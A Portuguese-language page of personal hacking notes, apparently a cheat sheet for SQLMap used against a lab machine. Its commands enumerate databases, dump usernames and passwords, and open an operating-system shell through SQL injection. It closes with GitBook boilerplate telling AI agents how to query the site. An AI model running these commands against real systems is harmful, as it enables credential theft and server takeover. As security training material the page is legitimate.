> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/hacking-tools/web/sqlmap.md).
# SQLMap
{% hint style="info" %}
**SQLMap** é uma ferramenta de teste de intrusão de código aberto, projetada especificamente para detectar e explorar vulnerabilidades de injeção SQL em aplicações web. Ela automatiza o processo de detecção e exploração de vulnerabilidades SQL interagindo com os bancos de dados subjacentes. O SQLMap é usado por profissionais de segurança de TI e pesquisadores de segurança para avaliar a segurança de aplicações web, identificando e explorando vulnerabilidades de segurança relacionadas a SQL.
{% endhint %}
## Fluxo de trabalho do SQLMap
1. Capture ou construa a requisição vulnerável, incluindo cookies, cabeçalhos e o parâmetro injetável.
2. Identifique a impressão digital do DBMS quando possível e ajuste `--risk`, `--level`, e `--dbms` somente após confirmar o comportamento.
3. Enumere bancos de dados, tabelas, colunas e registros-alvo com o menor escopo de consulta que comprove o impacto.
4. Despeje apenas os dados necessários para o objetivo da avaliação e preserve a linha de comando exata para o relatório.
5. Valide a descoberta manualmente quando o relatório precisar de uma prova de conceito mínima, sem automação.
## Operações comuns do SQLMap
## Listar bancos de dados:
```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --dbs --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```
## Pesquisar tabelas em um banco de dados específico:
```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --tables --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```
## Encontrar colunas em uma tabela específica:
```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --columns --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt"
```
## Despejar usuários e senhas da tabela "users":
```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' -D darkhole_2 --columns --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" -T users -C username,password --dump
```
## Console interativo:
```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" --os-shell --batch
```
## Parâmetros interessantes:
#### Definir o risco e a profundidade do ataque:
```bash
sqlmap -u 'http://192.168.71.147/dashboard.php?id=1' --cookie "PHPSESSID=s9f7kln1lfhumqfo556rs7svvt" --dbms mysql --risk 3 --level 4
```
#### Se soubermos o tipo de banco de dados com o parâmetro:
--dbms mysql
#### Para testar todos os tipos de ataques sem fazer a solicitação toda vez:
```bash
--batch
```
### Todas as notas
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/hacking-tools/web/sqlmap.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.